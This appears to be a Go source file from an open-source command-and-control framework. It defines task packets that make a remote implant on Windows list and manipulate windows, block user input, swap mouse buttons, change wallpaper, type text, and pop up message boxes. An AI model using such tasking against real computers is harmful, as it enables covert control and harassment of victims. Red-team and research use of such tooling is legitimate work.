github.com/iDigitalFlame/xmt@v0.5.4/c2/task/v_ui.go (about) 1 //go:build !implant 2 // +build !implant 3 4 // Copyright (C) 2020 - 2023 iDigitalFlame 5 // 6 // This program is free software: you can redistribute it and/or modify 7 // it under the terms of the GNU General Public License as published by 8 // the Free Software Foundation, either version 3 of the License, or 9 // any later version. 10 // 11 // This program is distributed in the hope that it will be useful, 12 // but WITHOUT ANY WARRANTY; without even the implied warranty of 13 // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 // GNU General Public License for more details. 15 // 16 // You should have received a copy of the GNU General Public License 17 // along with this program. If not, see <https://www.gnu.org/licenses/>. 18 // 19 20 package task 21 22 import ( 23 "io" 24 "os" 25 "time" 26 27 "github.com/iDigitalFlame/xmt/com" 28 "github.com/iDigitalFlame/xmt/device" 29 ) 30 31 // WindowList returns a list active Windows Packet. This will instruct the 32 // client to return a list of the current open Windows with detailed information. 33 // 34 // Always returns 'ErrNoWindows' on non-Windows devices. 35 // 36 // C2 Details: 37 // 38 // ID: TvWindowList 39 // 40 // Input: 41 // <none> 42 // Output: 43 // uint32 // Count 44 // []Window { // List of open Windows 45 // uint64 // Handle 46 // string // Title 47 // uint32 // Position X 48 // uint32 // Position Y 49 // uint32 // Width 50 // uint32 // Height 51 // } 52 func WindowList() *com.Packet { 53 return &com.Packet{ID: TvWindowList} 54 } 55 56 // SwapMouse returns a swap mouse buttons Packet. This will instruct the client 57 // swap the mouse buttons. The buttons will stay swapped until a successful call 58 // to 'SwapMouse' with false. 59 // 60 // Always returns 'ErrNoWindows' on non-Windows devices. 61 // 62 // C2 Details: 63 // 64 // ID: TvTroll 65 // 66 // Input: 67 // uint8 // Can be 0 or 1 depending on the state set. 68 // Output: 69 // <none> 70 func SwapMouse(e bool) *com.Packet { 71 n := &com.Packet{ID: TvTroll} 72 if e { 73 n.WriteUint8(taskTrollSwapEnable) 74 } else { 75 n.WriteUint8(taskTrollSwapDisable) 76 } 77 return n 78 } 79 80 // BlockInput returns a block user input Packet. This will instruct the client 81 // to block all user supplied input (keyboard and mouse). Input will be blocked 82 // until a successful call to 'BlockInput' with false. 83 // 84 // Always returns 'ErrNoWindows' on non-Windows devices. 85 // 86 // C2 Details: 87 // 88 // ID: TvTroll 89 // 90 // Input: 91 // uint8 // Can be 6 or 7 depending on the state set. 92 // Output: 93 // <none> 94 func BlockInput(e bool) *com.Packet { 95 n := &com.Packet{ID: TvTroll} 96 if e { 97 n.WriteUint8(taskTrollBlockInputEnable) 98 } else { 99 n.WriteUint8(taskTrollBlockInputDisable) 100 } 101 return n 102 } 103 104 // Wallpaper returns a change user wallpaper Packet. This will instruct the client 105 // to change the current user's wallpaper to the filepath provided. 106 // 107 // The destination path may contain environment variables that will be resolved 108 // during runtime. 109 // 110 // Always returns 'ErrNoWindows' on non-Windows devices. 111 // 112 // C2 Details: 113 // 114 // ID: TvTroll 115 // 116 // Input: 117 // uint8 // Always set to 5 for this task. 118 // string // Destination 119 // Output: 120 // <none> 121 func Wallpaper(s string) *com.Packet { 122 n := &com.Packet{ID: TvTroll} 123 n.WriteUint8(taskTrollWallpaperPath) 124 n.WriteString(s) 125 return n 126 } 127 128 // HighContrast returns a set HighContrast theme Packet. This will instruct the 129 // client to set the theme to HighContrast. The theme will be set until a successful 130 // call to 'HighContrast' with false. 131 // 132 // Always returns 'ErrNoWindows' on non-Windows devices. 133 // 134 // C2 Details: 135 // 136 // ID: TvTroll 137 // 138 // Input: 139 // uint8 // Can be 2 or 3 depending on the state set. 140 // Output: 141 // <none> 142 func HighContrast(e bool) *com.Packet { 143 n := &com.Packet{ID: TvTroll} 144 if e { 145 n.WriteUint8(taskTrollHcEnable) 146 } else { 147 n.WriteUint8(taskTrollHcDisable) 148 } 149 return n 150 } 151 152 // WindowFocus returns an activate/focus window Packet. This will instruct the 153 // client to focus the target window and show it to the user. 154 // 155 // Using the value "0" for the handle will select all open windows that exist 156 // during client runtime. 157 // 158 // Always returns 'ErrNoWindows' on non-Windows devices. 159 // 160 // C2 Details: 161 // 162 // ID: TvUI 163 // 164 // Input: 165 // uint8 // Always 7 for this task. 166 // uint64 // Handle 167 // Output: 168 // <none> 169 func WindowFocus(h uint64) *com.Packet { 170 n := &com.Packet{ID: TvUI} 171 n.WriteUint8(taskWindowFocus) 172 n.WriteUint64(h) 173 return n 174 } 175 176 // WindowClose returns a close window Packet. This will instruct the client to 177 // close the target window. 178 // 179 // Using the value "0" for the handle will select all open windows that exist 180 // during client runtime. 181 // 182 // Always returns 'ErrNoWindows' on non-Windows devices. 183 // 184 // C2 Details: 185 // 186 // ID: TvUI 187 // 188 // Input: 189 // uint8 // Always 4 for this task. 190 // uint64 // Handle 191 // Output: 192 // <none> 193 func WindowClose(h uint64) *com.Packet { 194 n := &com.Packet{ID: TvUI} 195 n.WriteUint8(taskWindowClose) 196 n.WriteUint64(h) 197 return n 198 } 199 200 // WallpaperBytes returns a change user wallpaper Packet. This will instruct the 201 // client to change the current user's wallpaper to the data contained in the 202 // supplied byte slice. The new file will be written in a temporary location 203 // before being used as a wallpaper. 204 // 205 // The destination path may contain environment variables that will be resolved 206 // during runtime. 207 // 208 // Always returns 'ErrNoWindows' on non-Windows devices. 209 // 210 // C2 Details: 211 // 212 // ID: TvTroll 213 // 214 // Input: 215 // uint8 // Always set to 4 for this task. 216 // []byte // File Data 217 // Output: 218 // <none> 219 func WallpaperBytes(b []byte) *com.Packet { 220 n := &com.Packet{ID: TvTroll} 221 n.WriteUint8(taskTrollWallpaper) 222 n.Write(b) 223 return n 224 } 225 226 // WindowWTF returns a window WTF mode Packet. This will instruct the client to 227 // do some crazy things with the active windows for the supplied duration. 228 // 229 // Always returns 'ErrNoWindows' on non-Windows devices. 230 // 231 // C2 Details: 232 // 233 // ID: TvUI 234 // 235 // Input: 236 // uint8 // Always 8 for this task. 237 // int64 // Duration 238 // Output: 239 // <none> 240 func WindowWTF(d time.Duration) *com.Packet { 241 n := &com.Packet{ID: TvTroll} 242 n.WriteUint8(taskTrollWTF) 243 n.WriteInt64(int64(d)) 244 return n 245 } 246 247 // WindowShow returns a show window Packet. This will instruct the client to 248 // change the window's active show state. 249 // 250 // Using the value "0" for the handle will select all open windows that exist 251 // during client runtime. 252 // 253 // Always returns 'ErrNoWindows' on non-Windows devices. 254 // 255 // C2 Details: 256 // 257 // ID: TvUI 258 // 259 // Input: 260 // uint8 // Always 3 for this task. 261 // uint64 // Handle 262 // uint8 // Sw* Constant 263 // Output: 264 // <none> 265 func WindowShow(h uint64, t uint8) *com.Packet { 266 n := &com.Packet{ID: TvUI} 267 n.WriteUint8(taskWindowShow) 268 n.WriteUint64(h) 269 n.WriteUint8(t) 270 return n 271 } 272 273 // WindowEnable returns an enable/disable window Packet. This will instruct the 274 // client to block all user supplied input (keyboard and mouse) to the specified 275 // window handle. Input will be blocked and the window will not be usable until 276 // a successful call to 'WindowEnable' with the handle and false. 277 // 278 // Using the value "0" for the handle will select all open windows that exist 279 // during client runtime. 280 // 281 // Always returns 'ErrNoWindows' on non-Windows devices. 282 // 283 // C2 Details: 284 // 285 // ID: TvUI 286 // 287 // Input: 288 // uint8 // Can be 0 or 1 depending on the state set. 289 // uint64 // Handle 290 // Output: 291 // <none> 292 func WindowEnable(h uint64, e bool) *com.Packet { 293 n := &com.Packet{ID: TvUI} 294 if e { 295 n.WriteUint8(taskWindowEnable) 296 } else { 297 n.WriteUint8(taskWindowDisable) 298 } 299 n.WriteUint64(h) 300 return n 301 } 302 303 // WallpaperFile returns a change user wallpaper Packet. This will instruct the 304 // client to change the current user's wallpaper to the supplied (server local) 305 // file. The new file will be written in a temporary location before being used 306 // as a wallpaper. 307 // 308 // The destination path may contain environment variables that will be resolved 309 // during runtime. 310 // 311 // Always returns 'ErrNoWindows' on non-Windows devices. 312 // 313 // C2 Details: 314 // 315 // ID: TvTroll 316 // 317 // Input: 318 // uint8 // Always set to 4 for this task. 319 // []byte // File Data 320 // Output: 321 // <none> 322 func WallpaperFile(s string) (*com.Packet, error) { 323 // 0 - READONLY 324 f, err := os.OpenFile(device.Expand(s), 0, 0) 325 if err != nil { 326 return nil, err 327 } 328 n, err := WallpaperReader(f) 329 f.Close() 330 return n, err 331 } 332 333 // WindowSendInput returns a type input Packet. This will instruct the client to 334 // use input events to type out the provided string. The client will first attempt 335 // to bring the window supplied to the foreground (if non-zero) before typing. 336 // 337 // The window value is optional and may be set to zero. 338 // 339 // Always returns 'ErrNoWindows' on non-Windows devices. 340 // 341 // C2 Details: 342 // 343 // ID: TvUI 344 // 345 // Input: 346 // uint8 // Always 8 for this task. 347 // uint64 // Handle 348 // string // Text 349 // Output: 350 // <none> 351 func WindowSendInput(h uint64, s string) *com.Packet { 352 n := &com.Packet{ID: TvUI} 353 n.WriteUint8(taskWindowType) 354 n.WriteUint64(h) 355 n.WriteString(s) 356 return n 357 } 358 359 // WindowTransparency returns a set window transparency Packet. This will instruct 360 // the client to set the window with the supplied handle with the specified 361 // transparency value. This value ranges from 0 (transparent) to 255 (opaque). 362 // 363 // Using the value "0" for the handle will select all open windows that exist 364 // during client runtime. 365 // 366 // Always returns 'ErrNoWindows' on non-Windows devices. 367 // 368 // C2 Details: 369 // 370 // ID: TvUI 371 // 372 // Input: 373 // uint8 // Always 2 for this task. 374 // uint64 // Handle 375 // Output: 376 // <none> 377 func WindowTransparency(h uint64, v byte) *com.Packet { 378 n := &com.Packet{ID: TvUI} 379 n.WriteUint8(taskWindowTransparency) 380 n.WriteUint64(h) 381 n.WriteUint8(v) 382 return n 383 } 384 385 // WallpaperReader returns a change user wallpaper Packet. This will instruct the 386 // client to change the current user's wallpaper to the data contained in the 387 // supplied reader. The new file will be written in a temporary location before 388 // being used as a wallpaper. 389 // 390 // The destination path may contain environment variables that will be resolved 391 // during runtime. 392 // 393 // Always returns 'ErrNoWindows' on non-Windows devices. 394 // 395 // C2 Details: 396 // 397 // ID: TvTroll 398 // 399 // Input: 400 // uint8 // Always set to 4 for this task. 401 // []byte // File Data 402 // Output: 403 // <none> 404 func WallpaperReader(r io.Reader) (*com.Packet, error) { 405 n := &com.Packet{ID: TvTroll} 406 n.WriteUint8(taskTrollWallpaper) 407 _, err := io.Copy(n, r) 408 return n, err 409 } 410 411 // WindowMove returns a move/resize window Packet. This will instruct the client 412 // to move and/or resize the targeted window with the supplied options. 413 // 414 // The value '-1' may be used in either the 'X' and 'Y' or the 'Width' and 'Height' 415 // values to keep the current values instead of changing them. 416 // 417 // Always returns 'ErrNoWindows' on non-Windows devices. 418 // 419 // C2 Details: 420 // 421 // ID: TvUI 422 // 423 // Input: 424 // uint8 // Always 6 for this task. 425 // uint64 // Handle 426 // uint32 // X 427 // uint32 // Y 428 // uint32 // Width 429 // uint32 // Height 430 // Output: 431 // <none> 432 func WindowMove(h uint64, x, y, width, height int32) *com.Packet { 433 n := &com.Packet{ID: TvUI} 434 n.WriteUint8(taskWindowMove) 435 n.WriteUint64(h) 436 n.WriteInt32(x) 437 n.WriteInt32(y) 438 n.WriteInt32(width) 439 n.WriteInt32(height) 440 return n 441 } 442 443 // WindowMessageBox returns a MessageBox Packet. This will instruct the client to 444 // create a MessageBox with the supplied parent and message options. 445 // 446 // Using the value "0" for the handle will create a MessageBox without a parent 447 // window. 448 // 449 // If the handle 'h' is '-1', or "^uintptr(0)", this will attempt 450 // to target the Desktop window, which will fall back to '0' if it fails. 451 // 452 // Always returns 'ErrNoWindows' on non-Windows devices. 453 // 454 // C2 Details: 455 // 456 // ID: TvUI 457 // 458 // Input: 459 // uint8 // Always 5 for this task. 460 // uint64 // Handle 461 // string // Title 462 // string // Text 463 // uint32 // Flags 464 // Output: 465 // uint32 // MessageBox return result 466 func WindowMessageBox(h uint64, title, text string, flags uint32) *com.Packet { 467 n := &com.Packet{ID: TvUI} 468 n.WriteUint8(taskWindowMessage) 469 n.WriteUint64(h) 470 n.WriteUint32(flags) 471 n.WriteString(title) 472 n.WriteString(text) 473 return n 474 } 475 476 // UserMessageBox returns a MessageBox Packet. This will instruct the client to 477 // create a MessageBox with the supplied parent and message options under the 478 // specified Session ID (or -1 for the current session). 479 // 480 // C2 Details: 481 // 482 // ID: TvLoginsAct 483 // 484 // Input: 485 // uint8 // Always 2 for this task. 486 // int32 // Session ID 487 // uint32 // Flags 488 // uint32 // Timeout in seconds 489 // bool // Wait for User 490 // string // Title 491 // string // Text 492 // Output: 493 // uint32 // MessageBox return result 494 func UserMessageBox(sid int32, title, text string, flags, secs uint32, wait bool) *com.Packet { 495 n := &com.Packet{ID: TvLoginsAct} 496 n.WriteUint8(taskLoginsMessage) 497 n.WriteInt32(sid) 498 n.WriteUint32(flags) 499 n.WriteUint32(secs) 500 n.WriteBool(wait) 501 n.WriteString(title) 502 n.WriteString(text) 503 return n 504 }